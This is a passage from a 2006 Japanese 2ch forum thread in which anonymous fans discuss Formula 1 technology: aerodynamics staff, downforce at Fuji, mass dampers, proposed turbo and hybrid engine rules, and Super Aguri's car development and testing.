今年だって煮詰める時間あればSA06にカーボンギアボックス載せられたって話

140 :音速の名無しさん:2006/11/06(月) 00:14:28 ID:v5WNHJ8J0
ホンダから空力技術者が抜けたそうな。
どうすんだか。
ホンダの車はほんとにエンジンだけで走ってるみたいだな。

141 :音速の名無しさん:2006/11/06(月) 00:16:59 ID:6R9rGugu0
風洞つくったんだから活用できるように人材固めなきゃならない時期だろうにな・・・

142 :音速の名無しさん:2006/11/06(月) 00:21:47 ID:tyXTcyao0
この時期に手放すってのは、実際にはもっと前から
ガーデニング休暇に入ってたんじゃないのかな

143 :音速の名無しさん:2006/11/06(月) 19:29:49 ID:ggnhbKOT0
>>140
空力技術者って一人なんだw バカ?

144 :音速の名無しさん:2006/11/06(月) 19:56:46 ID:zNQguF4z0
>>143
ホンダ好きだね〜貴方

145 :音速の名無しさん:2006/11/06(月) 21:14:40 ID:6R9rGugu0
煽りに見事に食いついてどうすんだよ>>143

146 :音速の名無しさん:2006/11/06(月) 23:28:51 ID:ZYU4hEoP0
>>143
抜けたのはチーフだが?
それに空力エンジニアが100人いるとでも?

ホント馬鹿だな。

147 :音速の名無しさん:2006/11/06(月) 23:40:52 ID:faFj0pxY0
100人くらいだったらいるような気がしないでもない

148 :音速の名無しさん:2006/11/06(月) 23:55:11 ID:6R9rGugu0
ageage

149 :音速の名無しさん:2006/11/07(火) 00:17:27 ID:bkVF5OFA0
参考までに
【チームスタッフ数〜グラ特7月号より〜】

ルノー     750
マクラーレン 530
フェラーリ 約900
トヨタ     650
ウィリアムズ 500
ホンダ   約500
レッドブル 約450
BMW     650
MF1    約200
トロロッソ   136
SAF1     121

150 :音速の名無しさん:2006/11/08(水) 00:11:20 ID:OXwGPNLE0
>>149
案外MF1にスタッフいたのね

151 :音速の名無しさん:2006/11/08(水) 17:19:38 ID:SSD6d6Xx0
ある昔のこと・・・


ルマンに勝つには直線が速い車が必要

トヨタはリヤスポイラーがなくリヤオーバーハングをちょん切った(=ダウンフォースが全く無い)トヨタ7を開発
責任者「危険だと反対した技術者は担当から外しました^^、ボディー剛性とかよくわからないです。」

ヤマハのテストコースにて
トヨタ7は(公表260km/h、実際は300km/h以上出てたかも?)で
コーナー手前の直線でスピンし激突炎上、ドライバー(福沢幸雄氏)死亡
↓        ^^^^^^^^^^^
トヨタ「運転ミスですねw」


尚、事故現場は撤収され警察の捜査を拒否、車の構造は一切公開されず証拠隠滅。
その翌年(1970年)、鈴鹿でのトヨタ7ターボのテストでも事故、ドライバー(川合稔)氏が亡くなっている

152 :音速の名無しさん:2006/11/08(水) 17:20:21 ID:SSD6d6Xx0
って話があるけど、なんでオーバーハングがないとダウンフォースなくなるの?

153 :音速の名無しさん:2006/11/08(水) 18:35:11 ID:adPmLxPX0
>>151
>リヤオーバーハングをちょん切った
ってR381かなんかと間違えてないか?それと福沢幸雄のマシンは詳細不明の怪しい試作車だし。
いずれにしても証拠隠滅するほどだからダウンフォース云々以前の欠陥に薄々気づいてたんだろ。

154 :音速の名無しさん:2006/11/08(水) 22:54:11 ID:hcC/SiyD0
>いずれにしても証拠隠滅するほどだからダウンフォース云々以前の欠陥に薄々気づいてたんだろ。
最終型トヨタ7は世界初のターボ付レースカーとして有名だが、ターボに必須と言えるブローオフバルブやウェイストゲートがない。
どんな操縦性なんだろうか?


155 :音速の名無しさん:2006/11/08(水) 23:59:12 ID:OXwGPNLE0
そもそもF1と関係ないよね

156 :音速の名無しさん:2006/11/09(木) 11:15:45 ID:ka7f3bJN0
>>155
犯罪臭の漂うトヨタモータースポーツの黒歴史つながりで、F1におけるスp(ry

157 :音速の名無しさん:2006/11/09(木) 12:12:11 ID:gNXwqPkN0
スパイカー?

158 :音速の名無しさん:2006/11/09(木) 13:24:44 ID:Gy1OAYTyO
【予言】
将来フロントウイングは短くなる


以上

159 :音速の名無しさん:2006/11/09(木) 15:46:12 ID:FhE51qPP0
エンジンの構造に詳しくないんだけどブローオフバルブや東ゲートがないってさ
アクセル抜いてエンジン本体が要求するエア量が減る時に
ワンテンポ遅れてくる過給のせいでサージタンク内圧が高くなり
スロットルを開けたときにそれらがオーバーシュートするのを防ぐためのものだったっけ?

160 :音速の名無しさん:2006/11/09(木) 15:54:21 ID:R8pWm9or0
エアワス?エクテト?

161 :音速の名無しさん:2006/11/09(木) 15:58:51 ID:S3ca5M9B0
>>158
ウィングの幅を今より狭くすればダウンフォース削減出来そうだからFIAならやるかもね・・・
格好悪そうだけど

162 :音速の名無しさん:2006/11/09(木) 20:18:08 ID:S3ca5M9B0
ttp://www.autosport.com/news/report.php/id/55558
さすがにRB2は使いたくないのかな

163 :音速の名無しさん:2006/11/10(金) 02:48:05 ID:vw6KCKhz0
昨年、F-1選手権でマニュファクチャラーズ・チャンピオンに輝いたルノー。
レースは時代が求める革新的技術の実験フィールドと位置づけており、
ルノーが作ったMTBにも、その革新的な技術がフィードバックされている。
それが前述したコンバインサスペンションシステム。

これはペダリングによるサスペンションへの影響を受けないシステムで、
ヒルクライムやダッシュ時の大きなトルクをかけたときでも、
サスペンションが沈み込む事によるロスを防ぐことができる。

ttp://doron.allabout.co.jp/s/060412/index2.htm

これってマスダンパーと同じ考え方なのかな?

164 :音速の名無しさん:2006/11/10(金) 11:01:26 ID:lcVIrDuO0
>>163
違うと思われ。
自転車のそれはリンクをアンチスクォートジオメトリに配置したもの。
マスダンパはそういったのとは違う概念のもの。

165 :音速の名無しさん:2006/11/10(金) 12:12:02 ID:B/7vaDZ70
ルノーはリアストラクチャーにもマスダンパー入れてたって話もあるけど禁止されてよく落ちぶれなかったな・・・

166 :音速の名無しさん:2006/11/10(金) 13:18:48 ID:t0CgZSm+0
実は影響がなかったんじゃないの?
予選ではフェラーリBSが速くても結晶ではトントンなことも多かった。
速い印象はあっても・・・・ 決勝だけでみればそうでもない
結局はタイヤ戦争だったと思われ
ルノーが遅いときはMI勢もそろって遅かった。

167 :音速の名無しさん:2006/11/10(金) 13:26:42 ID:bJ8gjYvg0
確かにタイヤパフォーマンス>>マスダンパー
だけど、影響はやっぱりあったよ。
チームが本来やるべき進化の労働もマスダンパーのフォローに
あてなかればならなかったし。

168 :音速の名無しさん:2006/11/10(金) 15:35:35 ID:L1Az9xzQ0
>>159
たぶんそれであってると思う

てか、>>152お願いしますOTL

169 :音速の名無しさん:2006/11/10(金) 17:34:08 ID:bzz9ZYZG0
>>168
スレ違いも甚だしいが、テクニカルサーキット向けにリアオーバーハングぶった切って
フロア下の空気排出を促しダウンフォースを向上させたマシンが沢山あるとだけ言っておく
但しリアタイヤの乱流が増えるので高速サーキットでは不利。

170 :音速の名無しさん:2006/11/10(金) 22:07:30 ID:B/7vaDZ70
今年以上にタイヤ競争が激しかった年もないような気がするしねぇ・・・

171 :音速の名無しさん:2006/11/11(土) 14:34:04 ID:wnsYCEcq0
平均速度をそんなに下げたいなら、
BSにグリップしないタイヤ作ってもらえばいいんじゃね?

172 :音速の名無しさん:2006/11/11(土) 20:05:54 ID:iHTONPq40
言われなくてもそのためのワンメイクタイヤだから

173 :音速の名無しさん:2006/11/13(月) 00:36:08 ID:xEWmR1tc0
テスト解禁まではホントにネタがないな・・・

174 :音速の名無しさん:2006/11/14(火) 20:19:12 ID:jN0EO8kp0
テストって28日解禁だっけ?

175 :音速の名無しさん:2006/11/14(火) 20:33:40 ID:BaKUnrbG0
富士のセッティングってどうなりそう?
直線重視?それとも後半のテクニカルセクション重視?

176 :音速の名無しさん:2006/11/14(火) 20:42:39 ID:FW0mY5/k0
>>171
タイヤで思い出したんだけど、イワン・カぺりが言ってたな
記者:「タイヤはどうでしたか?」
カペリ:「黒くて丸いヤツだよ!」ってw
http://strange.kir.jp/stored/qwup12751.jpg

177 :音速の名無しさん:2006/11/14(火) 21:08:52 ID:Uwus0BNe0
>>175
改悪後のホッケンハイムみたいな感じだろうかな?
けど、なんやかんやで直線なげーからわからんねぇ

178 :音速の名無しさん:2006/11/14(火) 23:03:25 ID:dn+kyhaZ0
>>175
モンツァと同レベルか、少し強めじゃないかな?
後半の登りテクニカル区間はかなり低速なんでダウンフォースはさほど重要じゃないと思う。
それより直線重視で小さいウィングのほうがタイム速くなるんじゃないかな?

まあこれは実際に走らせてみないと分からないけどね。
コースレイアウトではレスダウンフォースでいけそうに見えるけど、実際はハイダウンフォースのほうが速いコースもある。
鈴鹿やバルセロナがその典型だね。

179 :音速の名無しさん:2006/11/14(火) 23:14:04 ID:jN0EO8kp0
富士はブレーキは厳しめなのかな、そうでもないのかな
コース図見ただけじゃフューエルエフェクトとか想像できないんだよねorz

180 :音速の名無しさん:2006/11/15(水) 04:07:32 ID:BgfVTJmz0
そういえば、今年の全日本F3第2戦富士で、大雨と濃霧で最悪のコンディションの中
レース序盤に2位を走るA.スーティルが接触事故によりリアウィングを吹っ飛ばしてしまったが
その後もリアウイング無しで走り続けてた。
コーナー区間はかなり厳しいけど、メインストレートが速い速いw後ろのクルマはスーティルを抜けないww
スーティルはレース終盤まで3位を守ってた。最終的には5位だったけどね。
もちろんF1とF3とじゃちがうけど、レスダウンフォースでも結構イケルんかなーと。

181 :音速の名無しさん:2006/11/15(水) 06:06:48 ID:eSaKKRhl0
一応>>176ブラクラ注意と。

ダウンフォースは旧ホッケンで雨が降ったときくらいじゃないかな。

182 :音速の名無しさん:2006/11/15(水) 18:03:53 ID:Ivs2b05H0
>>179
つGT4

183 :音速の名無しさん:2006/11/15(水) 19:02:58 ID:DSNlj7DXO
低速セクションはあんまりタイムに影響しないんじゃないかな
最終コーナー〜ホームストレートは0発進みたいなもんと童夢の人が言ってた。S-GTだけど

184 :音速の名無しさん:2006/11/15(水) 19:54:25 ID:MBXxf2CU0
>>182
やってみたけどイマイチ分からなかったw

185 :音速の名無しさん:2006/11/15(水) 22:18:58 ID:ZP3WcI+p0
GT4の2005GTは激しくつまらん肝心な最終と1コーナーも意外と近いし
抜きどころは少ない予感。
初年度くらいじゃない?セッティングが決まらず荒れるのは

90sのコースの方が段違いに面白い

186 :音速の名無しさん:2006/11/15(水) 22:35:10 ID:Ivs2b05H0
富士は2005も90sも80sもつまんないから嫌い
ブレーキはGPの平均よりはうえだと思うよ

187 :音速の名無しさん:2006/11/15(水) 22:39:49 ID:mnR47bjC0
富士2005を散々走ったあとに鈴鹿走ってごらん、めっちゃ楽しいから
2周目には幸せに口元が緩むよ

188 :音速の名無しさん:2006/11/16(木) 00:45:40 ID:fQZNIbT/0
今更なんだけど248F1ってデザイナーはコスタだったの?

189 :音速の名無しさん:2006/11/16(木) 00:58:47 ID:RYdUr8oBO
うん

190 :音速の名無しさん:2006/11/16(木) 01:02:07 ID:ZhRyYKVy0
F1が亜光速走行できるようになるのは何時頃?
まだ音速すら超えてないけど

191 :音速の名無しさん:2006/11/16(木) 12:35:48 ID:9GmNEwMW0
おまいが天才なら明日。

192 :音速の名無しさん:2006/11/16(木) 15:58:00 ID:fQZNIbT/0
>>189
ありがと

193 :音速の名無しさん:2006/11/17(金) 00:52:55 ID:sFGw5jFD0
F1パイロットと言うからには、音速で走るマシーンをコントロールしてもらわないとね

194 :音速の名無しさん:2006/11/17(金) 10:33:23 ID:YGyO+Bmb0
>>178
>コースレイアウトではレスダウンフォースでいけそうに見えるけど、実際はハイダウンフォースのほうが
>速いコースもある。
>鈴鹿やバルセロナがその典型だね。

お前の脳内ではなぜ鈴鹿・バルセロナがレスダウンフォースなのかと…
回りこむようなコーナーや中速〜高速コーナーがあるだろ
タイヤのデグラデーション考えても垂直加重はしっかりかけたほうがいい


富士はコカコーラ〜100Rをどう考えるかだけど、
タイヤが変わってコンパウンドが固くなる
→コーナリングスピード低下が予想される
ならウイング削ろうか?みたいな。
あとはL/D値次第だけどね…

チームメイト同士のタイム差は少なくなる方向だろうね
鈴鹿とは大きくキャラクターが変わりそうだよね

195 :音速の名無しさん:2006/11/17(金) 11:08:21 ID:WZtKMuy80
しかし上海も富士も微妙なサーキットだな。
無駄に長いストレート、ネチネチしているインフィールド・・・
鈴鹿のアロンソみたいな走りは見られないんだろうなー

196 :音速の名無しさん:2006/11/17(金) 12:56:23 ID:5lpFcFIA0
旧富士みたいに最終コーナーが緩い方がまだ面白そうなんだけどな

197 :音速の名無しさん:2006/11/17(金) 12:56:56 ID:5lpFcFIA0
俺のIDがFIAw

198 :音速の名無しさん:2006/11/17(金) 13:12:38 ID:PdFV3O3m0
>>197
FcFIA0…
[Fun Club FIA No.0000000]
貴様まさかマックスモ(ry

199 :音速の名無しさん:2006/11/17(金) 13:57:48 ID:SNKWkS4F0
>>196
それだと最終コーナー出口で前走車にぴったりつけないから
1コーナーでのバトルが減る。

200 :音速の名無しさん:2006/11/17(金) 16:24:34 ID:PdFV3O3m0
2011年に『ターボ・エンジン』がF1に復活?

GPMA(グランプリ・マニュファクチャラーズ・アソシエーション)との間に合意をみたと伝えられる
FIAのマックス・モズレー会長は、さらに2011年以降のエンジン・レギュレーションについて興味深い発言を行っている。

これは、将来的には主に環境問題の観点から現行の自然吸気エンジンが終焉を迎えるだろうというもの。
同会長は、その場合に1989年以来F1では禁止されているターボ・エンジンが復活するとの見方を示したもの。
ただしその目的は、かつてのようなパワー競争に走るものではなく、効率的な燃料消費が主たる目的であることを言明している。
http://fmotor.nifty.com/f106/2006/11/2011f1_5498.html

うほっ。V6+ターボの再来か?燃費競争やらせるならついでに給油も廃止にしてくれ。

201 :音速の名無しさん:2006/11/17(金) 17:02:48 ID:0jNnUto50
バイオエタノール混合ガソリン→バイオエタノール→ディーゼルターボ

202 :音速の名無しさん:2006/11/17(金) 17:11:15 ID:Y7s8lsvz0
ディーゼルターボの確率高そうだな。
未知の分野だから競争の幅もあるだろうし、
ルマンのアウディが相当話題になったからかな?

203 :音速の名無しさん:2006/11/17(金) 18:59:09 ID:YQN8ESxX0
俺も、給油廃止にするだけで燃費競争が始まると思うんだけどな。

204 :音速の名無しさん:2006/11/17(金) 19:18:15 ID:QF6rWxYb0
でも、ディーゼルターボならきちんと排気ガスの有害成分の排出基準を定めてやってほしい
それをなしに汚い排気ガス垂れ流しでやっていたのでは全く流用価値のない技術になってしまう

205 :音速の名無しさん:2006/11/17(金) 20:32:58 ID:5iAn7eLH0
>>203
現在はタイヤ交換時に給油してしまうことで重量が増え、ラップタイム向上は限られてるけど、
給油なしなら未交換の車に比べて相当のラップタイム向上が図れるし。
→当然OTが増えると素人考えでもわかるわな。

まあ、バーニー配下企業謹製の給油機が確実な需要のもとに売れまくってる現状から、
誰もそこに突っ込むことはできないのだろうな。

206 :音速の名無しさん:2006/11/17(金) 20:59:07 ID:5lpFcFIA0
給油廃止じゃなくて総燃料規制の方が良いような気がするけどね

207 :フラッド ◆qNBVIjZucY :2006/11/17(金) 23:04:48 ID:KUYpQlxV0
それGr.Cじゃん

208 :音速の名無しさん:2006/11/17(金) 23:19:55 ID:sFGw5jFD0
>>200
ターボエンジン積むなら面倒だから、YS11とかエンジンと同じのを積んだ方が速いじゃん?
レシプロでわざわざタービンを回すより、タービンそのものがエンジンの方が効率もいいしね

209 :音速の名無しさん:2006/11/17(金) 23:23:22 ID:/aDtWXsz0
>>208
何その半世紀前のアイデア

210 :音速の名無しさん:2006/11/17(金) 23:31:45 ID:Zzyu7jhZ0
燃費規制はやらんでしょ。過去の教訓がある。

燃費規制すると、全開で攻めない燃費重視の走行が不可欠になる。
          ↓
車は燃費走行領域での速さを重視する設計になる。燃費走行でも速い車。
          ↓
限界領域で走行する状態が減ることもあり、気付かないうちに限界域がとてもピーキーで扱えない車になる。
          ↓
予選アタックや決勝バトル時にマシン制御が出来ず事故〜大惨事につながる。

Cカー末期も性能が上がりすぎて人間で制御できる範囲を完全に超えていたからね。ワークス撤退も相次ぎ廃止はやむなし。
ターボF1禁止も(表向きは)アンジェリスのテスト中事故死がきっかけになった。
当時ホンダが予選用で1500馬力、ルノーやBMWは1600馬力出てたという話だからね。


211 :音速の名無しさん:2006/11/18(土) 01:30:59 ID:dCP0Qt990
>>208
以後スレに出入り禁止だねw

212 :音速の名無しさん:2006/11/18(土) 10:05:33 ID:pA2A2th00
>>205
モズレーじゃないのか?
バーニーとモズレーを間違えちゃいかんぞ。
少なくともバーニーは頑張ってる
鈴鹿復活発言とか結構柔軟な思想してるしね

213 :音速の名無しさん:2006/11/18(土) 15:08:52 ID:9wM1EQnY0
1500馬力時代があったのかよ・・・まじすげーな

214 :音速の名無しさん:2006/11/18(土) 17:01:45 ID:0/V+2oFp0
3気筒660ccターボ時代が到来か

215 :音速の名無しさん:2006/11/18(土) 17:26:44 ID:HLmZeHAU0
環境性能のためだとしたら、排気量としては1リッターくらいで
ブースト圧は1.5〜2バール程度か。
流石に660ccは無いだろ。首脳陣が日本人なわけじゃないし。

216 :音速の名無しさん:2006/11/18(土) 17:54:56 ID:1/Z0KcxH0
>>213
しかし今のF1はその当時より速いんだぜw

217 :音速の名無しさん:2006/11/18(土) 18:25:42 ID:TGXM3aMx0
ウイリアムズ・ダイハツとかになるのかw

218 :音速の名無しさん:2006/11/18(土) 19:49:20 ID:dCP0Qt990
>>215
ネタをネタと見抜けとw
1000ccじゃなぁ

219 :音速の名無しさん:2006/11/18(土) 20:06:23 ID:zAgh1cfZ0
750あたりになりそうな希ガス

220 :音速の名無しさん:2006/11/18(土) 23:36:04 ID:dCP0Qt990
F1じゃなくなる・・・

221 :音速の名無しさん:2006/11/18(土) 23:54:24 ID:D3ZGHKiV0
>>219
750ccレギュは昔あったね。
2500cc自然吸気か750cc過吸気付って時代は確かにあったよ。50年代後半から60年代初頭まで。
その後1500cc自然吸気のみになり、その時代にホンダが第1期F1参戦だったね。




222 :音速の名無しさん:2006/11/19(日) 01:16:23 ID:vGtChoW30
あの頃に回帰なんてなあw

223 :音速の名無しさん:2006/11/19(日) 13:21:44 ID:UiW1W1km0
>>221
じゃ250ccで

224 :音速の名無しさん:2006/11/19(日) 20:39:10 ID:XQ932RJI0
じゃあ1200ccのエンジンを前と後ろに乗せてAWD。

225 :音速の名無しさん:2006/11/19(日) 20:57:44 ID:JeWdLBZt0
今のF1の進化を見てると
前後の羽を禁止してエンジンを1800cc直四限定でも鈴鹿で25秒台に入れてきたりしてね

226 :音速の名無しさん:2006/11/19(日) 21:03:53 ID:x9SeXqOG0
>>225
それ何てフォーミュラ・トヨタ?

227 :音速の名無しさん:2006/11/19(日) 23:06:14 ID:vGtChoW30
>>224
それでどうやってフォーミュラーカーに仕立てろって言うんだw

228 :音速の名無しさん:2006/11/19(日) 23:08:28 ID:LNsyO/J40
前後のウイングの代わりにバンパーが前後につくんじゃないのか?

229 :音速の名無しさん:2006/11/19(日) 23:33:58 ID:wwSuXthI0
前後の羽は貴重な広告スペースなんで禁止はしません。

230 :音速の名無しさん:2006/11/19(日) 23:40:10 ID:TWmvLxZz0
じゃあ角度を付けない板で。

231 :音速の名無しさん:2006/11/19(日) 23:54:05 ID:0J8c6e7EO
HV化も可能性大のようだね・・トヨタが全チームにユニット供給かw
でもこれはエネルギー無駄使いを無くす効果高いよな。レースカーにこそ向いているアイデアだ。

232 :音速の名無しさん:2006/11/19(日) 23:58:44 ID:vGtChoW30
>>231
HV技術持ってないメーカー系チームはどう思うかな・・・

233 :音速の名無しさん:2006/11/20(月) 00:07:52 ID:nDH3DaKt0
>>231
回生中心だとホンダのシステムのほうが近いんじゃないか?

234 :音速の名無しさん:2006/11/20(月) 00:26:05 ID:/9wZ5MTn0
トヨタのだとでかいしね

235 :音速の名無しさん:2006/11/20(月) 00:27:38 ID:WeJY9JiZ0
これだとフェラーリなんかはきつそうだな。

236 :音速の名無しさん:2006/11/20(月) 00:32:00 ID:/9wZ5MTn0
F1参戦してるメーカー系チームで一番「環境問題」ってテーマから遠い存在がフェラーリだろうしね
全チームひっくるめてなるべく差が出ないシステムになればいいね

237 :音速の名無しさん:2006/11/20(月) 01:18:06 ID:S20mZj/Q0
フェラーリってすぐ壊れるから環境によさそう
乗れないから

238 :音速の名無しさん:2006/11/20(月) 01:30:22 ID:E5oMtRvg0
広告が必要ならタクシーみたいにすればいいのに

239 :音速の名無しさん:2006/11/20(月) 01:48:45 ID:1D2GJLVO0
このスレに限らないが、フォーミュラの意味を取り違えてる人って多いのな。

240 :音速の名無しさん:2006/11/20(月) 02:04:52 ID:W5yXyVtH0
>>239
レーシングカーにおいてのフォーミュラは
「車輪とドライバーがむき出しになっている事」を指すから間違ってはいないだろ。
オープンホイールカーってのはフォーミュラカーの米側の言い方だし。

241 :音速の名無しさん:2006/11/20(月) 02:50:02 ID:6rTqfSqI0
>>238
くだらないホイールカバーでもめるなら、あのホイールカバーにしろと言ってるのか?

242 :音速の名無しさん:2006/11/20(月) 17:08:50 ID:DQK06PYz0
スピードが欲しけりゃF100-PW-220エンジンでも積めってんだ

243 :音速の名無しさん:2006/11/20(月) 17:30:36 ID:/9wZ5MTn0
そのネタはスレ違いなんだよボケ

244 :音速の名無しさん:2006/11/20(月) 17:49:17 ID:uGonCYwU0
>>242
-232のほうがいいな

245 :音速の名無しさん:2006/11/20(月) 20:47:05 ID:v9Ejwuw90
アグリは12月のテストでSA06使わない宣言してるね
RA106使うのかな

246 :音速の名無しさん:2006/11/20(月) 21:20:13 ID:/9wZ5MTn0
前にauto-webの亜久里インタビューで「もうモノコック出来てるよ」みたいな発言してたね
完全オリジナルじゃないと思うからホンダ系のマシンでないかな

247 :音速の名無しさん :2006/11/20(月) 22:13:08 ID:dGZd42Kx0
>>245
SA07β1に決まってるべ すでにインテルラゴスは
SA07βといっていいリヤ周りだったが

プレストンを信じろ

248 :音速の名無しさん:2006/11/20(月) 22:16:56 ID:9v1sp6Ex0
SAF1て資金に余裕がないが故に人間パワーに満ち溢れてるな。
その逆がトヨタ、ホンダ。

249 :音速の名無しさん:2006/11/20(月) 22:54:29 ID:zHDYcWxd0
意外と予算的にはあるんじゃないかな?
一流チームのような仕事をしようとすると予算が足りないだけで…

250 :音速の名無しさん:2006/11/20(月) 23:14:12 ID:/9wZ5MTn0
>>248
意欲のある人間が揃ったからな
これはスーパーアグリの財産だ

251 :音速の名無しさん:2006/11/21(火) 00:30:03 ID:7boat8Og0
>>247
>すでにインテルラゴスはSA07βといっていいリヤ周りだったが
ここ詳しくお願い

252 :音速の名無しさん:2006/11/21(火) 00:33:04 ID:0YR0lWgg0
確か今年は1億j近く使ったんだっけか、SAF1。
意外と金あるんだよな。電通様々か

253 :音速の名無しさん:2006/11/21(火) 00:36:45 ID:zZbAJ7WT0
>>252
来年以降も金かかるからなんとか維持していかないとな
結局F1は金がないと何も出来ないからねぇ・・・

254 :音速の名無しさん:2006/11/21(火) 04:23:49 ID:0Q7vteRu0
>>252
供託金含めてじゃないの?

255 :音速の名無しさん:2006/11/21(火) 07:23:46 ID:zhbfBfAW0
SAF1は昔のレースチームな感じがしていいな。
ミナルディの良かった所はきっちり回収したってわけか。

256 :音速の名無しさん:2006/11/21(火) 11:10:58 ID:Ht4OrFZ+0
ストッダートの回想記事じゃないけど、
金に関しても裏で色々とおかっぱジジィが暗躍してるんだろ

257 :音速の名無しさん:2006/11/21(火) 12:01:38 ID:zZbAJ7WT0
>>255
でも亜久里はミナルディと比較されると嫌がるからねw

258 :音速の名無しさん:2006/11/21(火) 12:58:14 ID:6eThGI3V0
>>248
琢オタ乙

259 :音速の名無しさん:2006/11/21(火) 17:15:54 ID:1Ee/pzft0
>>255
昔のレースチームというよりこれから出てくるであろうメーカー系Bチームの先駆けって感じ

260 :音速の名無しさん :2006/11/21(火) 18:25:14 ID:C/wZ4coT0
>>251
たぶんコレだろう 走行マシンのSA06 来季から使用の
カーボンケーシングになってる
って事わサス取り付け位置も新設計なはず

http://www.honda.co.jp/enjoyhonda/thanksday2006/index.html

ブラジルで速かったのはコレだったんだ


261 :音速の名無しさん:2006/11/21(火) 19:23:03 ID:+c7joAk10
へーそうなんだ
俺はてっきりリタイアに
たすけられたのかと
おもった。

262 :音速の名無しさん:2006/11/21(火) 19:38:22 ID:dzlZ43JY0
ブラジルは凄かったな
ピットストップロスも上位チームに肉薄する少なさだったらしいし
バーレーンで2台同時ピットインであたふたするようなチームが1年でここまで来るとは想像できなかった。
まぁ 去年の今頃はSAF1の参戦は無理って言われてたくらいだしな

263 :音速の名無しさん:2006/11/21(火) 20:27:52 ID:zZbAJ7WT0
カーボンギアボックス付けれたのか、驚いた

264 :音速の名無しさん:2006/11/21(火) 20:36:03 ID:s0G3vBo20
>>260
なんでサンクスデイ?

265 :音速の名無しさん:2006/11/21(火) 20:53:21 ID:zZbAJ7WT0
>>264
ttp://www.honda.co.jp/enjoyhonda/thanksday2006/machine/sa06/
ここに行き着くだろが

266 :音速の名無しさん:2006/11/21(火) 21:18:57 ID:Mv5gA8+m0
でもこれ本当に正しいの?

267 :音速の名無しさん:2006/11/21(火) 21:22:52 ID:zZbAJ7WT0
関係者しか分からないよね

268 :音速の名無しさん:2006/11/21(火) 22:27:55 ID:6eThGI3V0
まぁブラジルの走りは他の下位チームに良い影響を及ぼしただろうね。
スピードも感銘をうけたとか言ってたし、来期の下位チームは注目だな。

269 :音速の名無しさん:2006/11/21(火) 23:07:49 ID:ftuvTRUp0
「たとえば、2009年にはブレーキング時のエネルギーを加速に再利用するといったデバイスを装着することが可能になるが、
インディペンデントチームはそういった技術を開発しなくても済むのだ」
モズレーがこんなこと言ってるんだけど、これって09年からハイブリッドOKってこと?


270 :音速の名無しさん:2006/11/21(火) 23:25:47 ID:zZbAJ7WT0
ハイブリッドOKというか一斉導入させるんじゃないかな

271 :音速の名無しさん:2006/11/21(火) 23:33:52 ID:QkKkO953P
指定部品使用みたいな言い方だな。

272 :音速の名無しさん:2006/11/21(火) 23:42:02 ID:u3otka7V0
あー、今からもいっかいブラジル見直してみよっと。

273 :音速の名無しさん:2006/11/21(火) 23:58:22 ID:zZbAJ7WT0
亜久里、日本GP前に「カーボンケーシングは信頼性が確認されてないから採用しない」っていってた記事もあったなぁ、どこだったっけ
F1モデリング最新刊早くでないかな・・・

274 :フラッド ◆qNBVIjZucY :2006/11/22(水) 01:32:17 ID:kNG55RdW0
A23の素性の良さ・・・

当時まともなチームでAクラスを喰いまくって欲しかった。

275 :音速の名無しさん:2006/11/22(水) 02:15:47 ID:Y+8pcy6L0
>>274
まともなチームだと中の人がハインツ兄さんじゃなさそうなので困る

276 :音速の名無しさん:2006/11/22(水) 02:19:57 ID:Vja8yUIa0
>>273
それは
「カーボンケーシングは信頼性が確認されてないから(本番である鈴鹿では)採用しない」
ということなんじゃないか?
本番で信頼性が未確認なものを採用してトラブルリタイヤだと目も当てられなくなるから

277 :音速の名無しさん:2006/11/22(水) 23:21:52 ID:1bvF24sa0
>>276
そういうことだったのかもな
ただ鈴鹿とインテルラゴスの間にテストしてないでぶっつけ投入した割にトラブルでなかったのは良かったな
今年最後のご褒美だったのかもw

278 :音速の名無しさん:2006/11/23(木) 15:15:58 ID:6M7nip0S0
SAF1は冬季テストをRA106をレンタルするって公式に言ったみたいね
自前のが組上がるのが2月か・・・

279 :音速の名無しさん:2006/11/23(木) 15:41:41 ID:C6RmFIX50
>>278
ソースはどこよ

280 :音速の名無しさん:2006/11/23(木) 15:48:25 ID:CpB1PLOt0
510 名前:音速の名無しさん[sage] 投稿日:2006/11/23(木) 15:10:03 ID:e55kL/yC0
SAF1,ホンダからRA106を借りてテスト
http://www.powered-by-formulaweb.com/news/f1news.cgi


511 名前:音速の名無しさん[sage] 投稿日:2006/11/23(木) 15:10:15 ID:q6KDet7F0
11/22(Wednesday)  イモラ,ピットを爆破解体!

今月19日から,イタリアのイモラ・サーキットでは改修工事に着手し,
まずはじめの第一期工事として「ピット施設の解体」が行われた。
初日の作業ではピット内にダイナマイトを設置し,爆破させて一気に施設を解体させた。
ピット施設は5階建ての近代施設に生まれ変わることが決まっており,
これまでのイメージを一新することになる。


512 名前:音速の名無しさん[sage] 投稿日:2006/11/23(木) 15:18:47 ID:e55kL/yC0
>>511
う、うわあああイモラが・・・
http://f1.racing-live.com/f1/photos/imgactu/zoom06/imola-mods-z-wri-05_201106.jpg


281 :音速の名無しさん:2006/11/23(木) 16:02:29 ID:6M7nip0S0
>>279
個人サイトだから信用できないとか言うなよ?

282 :音速の名無しさん:2006/11/23(木) 16:05:04 ID:C6RmFIX50
>>280
FIAはRA106の使用を許可したって事なの
アグリのコメント読むかぎりSA07=RA106でFA?

283 :音速の名無しさん:2006/11/23(木) 16:11:02 ID:PPXyAsR/0
テストは何走らせてもいいんだよ。
車検ないし。
フェラーリが売り出してる旧車とかホンダが動態保存してるMP4/6とかでもいい。
でも、チャンピオンシップにエントリーできるかは別。

284 :音速の名無しさん:2006/11/23(木) 16:14:53 ID:6M7nip0S0
>>282
去年のテストを振り返ってみればトロロッソがRB1使ってて本命がRB1改だったことを考えるとSA07がRA106改ってことは考えられるかも
今のチーム関係を見てると不思議じゃないけどね

285 :音速の名無しさん:2006/11/23(木) 16:16:05 ID:6M7nip0S0
あ、レッドブルは参考にならないな・・・

286 :音速の名無しさん:2006/11/23(木) 17:44:18 ID:ZQuMYyul0
>>282
それはありえないから心配するな
元々設計していたSA07+RA106→SA07
って感じになると思う
もっとも、元々設計していた段階で栃木を含むHonda側のリソースがどれほど注入されていたかどうかはわからないが

287 :音速の名無しさん:2006/11/23(木) 18:55:15 ID:bwtdFzX50
正確には
RA106の正常進化であろうRA107の図面を元にしたアナザーバージョンがSA07

288 :音速の名無しさん:2006/11/23(木) 19:04:27 ID:bwtdFzX50
>>285
そう。

赤ベコはあくまでカスタマーのA,Bで
ここのはワークスのA,Bの違いだね。



289 :音速の名無しさん:2006/11/23(木) 20:42:31 ID:6M7nip0S0
正直A23型がベースでもサイドポンツーン周りを高くするとかでも結構いけるマシンにはなりそうだけどね
開発費が高くつくと思うけどw

